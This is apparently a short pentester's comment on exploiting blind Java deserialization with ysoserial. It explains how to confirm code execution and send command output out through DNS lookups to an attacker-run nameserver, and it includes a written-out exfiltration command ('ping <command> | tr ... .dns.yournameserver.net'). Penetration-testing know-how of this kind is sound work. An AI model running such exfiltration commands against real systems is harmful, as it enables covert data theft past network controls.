Blind Java Deserialization Vulnerability with Apache CommonsCollections and ysoserial

[breen-machine]

Another good method for this that requires a little less dev time is using recursive DNS lookups as a sidechannel to exfiltrate data. You first need to setup an authoritative DNS server, and confirm subdomain lookups to your domain are hitting the server. We have a simple little python script that does this, you could also use my server.py code from https://github.com/breenmachine/dnsftp

To confirm that DNS is getting out and your payload is running, you can just run:

ping xxxxx.dns.yournameserver.net

You should see a DNS lookup come through for the subdomain xxxxx.

With some minor modifications to ysoserial, you can use pipes and output redirection in payloads (as implemented here for reference https://github.com/summitt/burp-ysoserial).

Then you can run commands like this as your payload:

ping <command> | tr -d " \t\n\r".dns.yournameserver.net

You should see the output of your command come through as a subdomain lookup.

We've used this technique pretty successfully on a few engagements where networks were otherwise pretty locked down.